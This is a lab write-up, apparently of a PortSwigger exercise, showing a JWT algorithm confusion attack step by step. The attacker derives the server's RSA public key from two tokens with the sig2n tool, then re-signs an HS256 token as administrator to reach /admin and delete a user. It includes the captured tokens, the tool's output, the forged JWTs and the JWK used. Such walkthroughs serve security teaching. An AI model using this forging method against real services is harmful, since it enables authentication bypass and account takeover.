JWT authentication bypass via algorithm confusion with no exposed key

Description

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

Reproduction and proof of concept

Obtain two JWTs generated by the server

  1. In Burp, load the JWT Editor extension from the BApp store.

  2. In the lab, log in to your own account and send the post-login GET /my-account request to Burp Repeater.

  3. In Burp Repeater, change the path to /admin and send the request. Observe that the admin panel is only accessible when logged in as the administrator user.

  4. Copy your JWT session cookie and save it somewhere for later.

eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzEwN30.AN4-QKoqSM6P4jwckXGoit_PuxtivWVEXHMwhno3Wxeccs7Exd9neNLIoiJc1ZEBZRBMqPtrDr9HH8Ci55KY7VScoi945grxYeSLXo1zTMAe1hhCgMeK_DFQh0eZZKlwQTrGtYPb_KbSajhUkzs9gQz68eve7n94gjgg0mdmFNT7_x0TYUw9HVl1yC2fwsAnacwfHsR-yvf5L6D2tXMAUwvSjtbbuP3uOB-DjXAd9-Elz-haYycDYBp9VpHwDht-Gvo7laL6iAH5XyGqzRpBmJYbrYcKKYrDUzFRSvQaS_DjRUiMumxWQs8peKrMYxn9Kqwb7EsdE5d0hw-KXCUYwQ
  1. Log out and log in again.

  2. Copy the new JWT session cookie and save this as well.

eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzIxOX0.RacDd1lvCWXy36Ws4rp5_RlG5v06Zq6I0q39P0aS2quvLv48aDZGgQir7Aojb8D08w9j2qhBw0XEIYzKLaA3p-nru2fdxY-ucoGlDBXxqhHLFDkk5lgKumbf6DMz6kS24FKVJD7cshshJSx8_NU5tT2fvKxYY4uGeq1KEFg0o_blz5Zt8lLnAk_r-xfWgOf0i3SYXDTuJB6eHXQHO8dANSTpsu-YF-Z9J6K79-3UkGU76y3mSzoM_2w_PpfMADfZ112sHx9rz326PYmspCABwIA5ZMKgLm1-1e12waesXA7CAsocQ4rfgHTZdX3zoaYOZ44v_uxxZmWeIgHPL0xTSA

You now have two valid JWTs generated by the server.

Brute-force the server’s public key

  1. In a terminal, run the following command, passing in the two JWTs as arguments.

$ docker run --rm -it portswigger/sig2n eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzEwN30.AN4-QKoqSM6P4jwckXGoit_PuxtivWVEXHMwhno3Wxeccs7Exd9neNLIoiJc1ZEBZRBMqPtrDr9HH8Ci55KY7VScoi945grxYeSLXo1zTMAe1hhCgMeK_DFQh0eZZKlwQTrGtYPb_KbSajhUkzs9gQz68eve7n94gjgg0mdmFNT7_x0TYUw9HVl1yC2fwsAnacwfHsR-yvf5L6D2tXMAUwvSjtbbuP3uOB-DjXAd9-Elz-haYycDYBp9VpHwDht-Gvo7laL6iAH5XyGqzRpBmJYbrYcKKYrDUzFRSvQaS_DjRUiMumxWQs8peKrMYxn9Kqwb7EsdE5d0hw-KXCUYwQ eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzIxOX0.RacDd1lvCWXy36Ws4rp5_RlG5v06Zq6I0q39P0aS2quvLv48aDZGgQir7Aojb8D08w9j2qhBw0XEIYzKLaA3p-nru2fdxY-ucoGlDBXxqhHLFDkk5lgKumbf6DMz6kS24FKVJD7cshshJSx8_NU5tT2fvKxYY4uGeq1KEFg0o_blz5Zt8lLnAk_r-xfWgOf0i3SYXDTuJB6eHXQHO8dANSTpsu-YF-Z9J6K79-3UkGU76y3mSzoM_2w_PpfMADfZ112sHx9rz326PYmspCABwIA5ZMKgLm1-1e12waesXA7CAsocQ4rfgHTZdX3zoaYOZ44v_uxxZmWeIgHPL0xTSA
Unable to find image 'portswigger/sig2n:latest' locally
latest: Pulling from portswigger/sig2n
4d32b49e2995: Pull complete 
fd4c1550e6ae: Pull complete 
53fa7e173a75: Pull complete 
cb9851eb83a1: Pull complete 
a6e75cf35200: Pull complete 
aaa5be4dc23b: Pull complete 
912e8eb4e88a: Pull complete 
Digest: sha256:0f1a6583c2578ffc42b7f3ee3a7f718c2979bc5b83ba7e125197b368f67b26d9
Status: Downloaded newer image for portswigger/sig2n:latest
Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZm5KSW9pZGc5U1NTU1dnQUxXegpLQ25NZy90czFOZXQrTUhlNGpBeGM3REtMWUpkdlZFQXBOMktsQnl4eFNaYUF6ZDJhaHJ6d1BJVWdJQTVzdHI0ClR1V1BHNmxWZXMxZDByeUNjeS9OUlNjNm4vVk1zZ3JBYjVjWVUwZzRqNTN2VnliMVlqU1hjdkFXZUQ5bCtQQ3UKV0ZsUnF6M204d2dkT3dTUlQ2ck9BdEFwWHB6ekRva0JJS0Vrc1huTjYxeEF0Z0RBTnlGVUMyeGFvSXYrcS9IVQo0UHB3Y3ZpWUc2QzI3akd4S2VQUHFWVU41NFNKNjF0dXZoK2NLaHlrNkphdTQwUk5rZ1pHcFFsMTg2ODVuUWVNCmw3dmVPUDcrbUdtWEtQZVNGL2FFVlZNRXI1SjRWY3N2L3puYVdXWWt3Y1FoQVI0M0daZkZJRyswM1N6YWFBTGcKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjc3Njg2MzE0fQ.tcNeoW0x-wFx0F5o4UdOxyES-PorZjiDiDD6xziJYHs
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFmbkpJb2lkZzlTU1NTV2dBTFd6S0NuTWcvdHMxTmV0K01IZTRqQXhjN0RLTFlKZHZWRUEKcE4yS2xCeXh4U1phQXpkMmFocnp3UElVZ0lBNXN0cjRUdVdQRzZsVmVzMWQwcnlDY3kvTlJTYzZuL1ZNc2dyQQpiNWNZVTBnNGo1M3ZWeWIxWWpTWGN2QVdlRDlsK1BDdVdGbFJxejNtOHdnZE93U1JUNnJPQXRBcFhwenpEb2tCCklLRWtzWG5ONjF4QXRnREFOeUZVQzJ4YW9JditxL0hVNFBwd2N2aVlHNkMyN2pHeEtlUFBxVlVONTRTSjYxdHUKdmgrY0toeWs2SmF1NDBSTmtnWkdwUWwxODY4NW5RZU1sN3ZlT1A3K21HbVhLUGVTRi9hRVZWTUVyNUo0VmNzdgovem5hV1dZa3djUWhBUjQzR1pmRklHKzAzU3phYUFMZ0pRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjc3Njg2MzE0fQ.28rDcjIksdfV9zqNnBFOlQL0HCqR8alai2yCbbQT9SU

Note that the first time you run this, it may take several minutes while the image is pulled from Docker Hub.

  1. Notice that the output contains one or more calculated values of n. Each of these is mathematically possible, but only one of them matches the value used by the server. In each case, the output also provides the following:

  • A Base64-encoded public key in both X.509 and PKCS1 format.

  • A tampered JWT signed with each of these keys.

  1. Copy the tampered JWT from the first X.509 entry (you may only have one).

  2. Go back to your request in Burp Repeater and change the path back to /my-account.

  3. Replace the session cookie with this new JWT and then send the request.

  • If you receive a 200 response and successfully access your account page, then this is the correct X.509 key.

  • If you receive a 302 response that redirects you to /login and strips your session cookie, then this was the wrong X.509 key. In this case, repeat this step using the tampered JWT for each X.509 key that was output by the script.

Generate a malicious signing key

  1. From your terminal window, copy the Base64-encoded X.509 key that you identified as being correct in the previous section. Note that you need to select the key, not the tampered JWT that you used in the previous section.

  2. In Burp, go to the JWT Editor Keys tab and click New Symmetric Key.

  3. In the dialog, click Generate to generate a new key in JWK format.

  4. Replace the generated value for the k property with a Base64-encoded key that you just copied. Note that this should be the actual key, not the tampered JWT that you used in the previous section.

{
    "kty": "oct",
    "kid": "cfa89837-da73-40ee-af74-8d68f37f1f2c",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZm5KSW9pZGc5U1NTU1dnQUxXegpLQ25NZy90czFOZXQrTUhlNGpBeGM3REtMWUpkdlZFQXBOMktsQnl4eFNaYUF6ZDJhaHJ6d1BJVWdJQTVzdHI0ClR1V1BHNmxWZXMxZDByeUNjeS9OUlNjNm4vVk1zZ3JBYjVjWVUwZzRqNTN2VnliMVlqU1hjdkFXZUQ5bCtQQ3UKV0ZsUnF6M204d2dkT3dTUlQ2ck9BdEFwWHB6ekRva0JJS0Vrc1huTjYxeEF0Z0RBTnlGVUMyeGFvSXYrcS9IVQo0UHB3Y3ZpWUc2QzI3akd4S2VQUHFWVU41NFNKNjF0dXZoK2NLaHlrNkphdTQwUk5rZ1pHcFFsMTg2ODVuUWVNCmw3dmVPUDcrbUdtWEtQZVNGL2FFVlZNRXI1SjRWY3N2L3puYVdXWWt3Y1FoQVI0M0daZkZJRyswM1N6YWFBTGcKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
  1. Save the key.

Modify and sign the token

  1. Go back to your request in Burp Repeater and change the path to /admin.

  2. Switch to the extension-generated JSON Web Token tab.

  3. In the header of the JWT, make sure that the alg parameter is set to HS256.

  4. In the JWT payload, change the value of the sub claim to administrator.

  5. At the bottom of the tab, click Sign, then select the symmetric key that you generated in the previous section.

  6. Make sure that the Don't modify header option is selected, then click OK. The modified token is now signed using the server’s public key as the secret key.

  7. Send the request and observe that you have successfully accessed the admin panel.

JWT

  1. In the response, find the URL for deleting Carlos (/admin/delete?username=carlos). Send the request to this endpoint to solve the lab.

Exploitability

An attacker will need to log in to wiener:peter; obtain the server’s public key. Use this key to sign a modified session token that gives access to the admin panel at /admin, then delete the user carlos.